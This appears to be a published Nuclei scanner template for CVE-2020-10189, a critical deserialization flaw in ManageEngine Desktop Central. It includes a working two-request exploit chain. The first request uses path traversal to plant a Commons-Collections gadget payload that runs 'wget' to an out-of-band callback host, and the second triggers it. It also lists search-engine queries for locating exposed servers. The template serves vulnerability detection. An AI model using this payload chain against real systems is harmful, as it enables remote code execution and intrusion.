ManageEngine Desktop Central Java Deserialization

ID: CVE-2020-10189

Severity: critical

Author: king-alexander

Tags: cve,cve2020,kev,zoho,manageengine,deserialization,intrusive

Description

Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.

YAML Source

id: CVE-2020-10189

info:
  name: ManageEngine Desktop Central Java Deserialization
  author: king-alexander
  severity: critical
  description: |
    Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.
  remediation: |
    Apply updates per vendor instructions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10189
    - https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189
    - https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html
    - https://y4er.com/posts/cve-2020-10189-zoho-manageengine-rce/
    - https://cwe.mitre.org/data/definitions/502.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10189
    cwe-id: CWE-502
    epss-score: 0.97206
    epss-percentile: 0.99826
    cpe: cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_desktop_central
    fofa-query:
      - body="manageengine desktop central 10"
      - title="manageengine desktop central 10"
      - app="zoho-manageengine-desktop"
    shodan-query: http.title:"manageengine desktop central 10"
    google-query: intitle:"manageengine desktop central 10"
  tags: cve,cve2020,kev,zoho,manageengine,deserialization,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}","raw")}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /cewolf/?img=%5Clogger.zip HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201c2d0c246170448d0c9b2110e4599f16b0470c4b78d027bd2858d6a13c35bbfb0221009f2507f24dfafc235a346358c0de5dbeaa756c52f62e92e76d16ba68a761b9bd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-10189.yaml"

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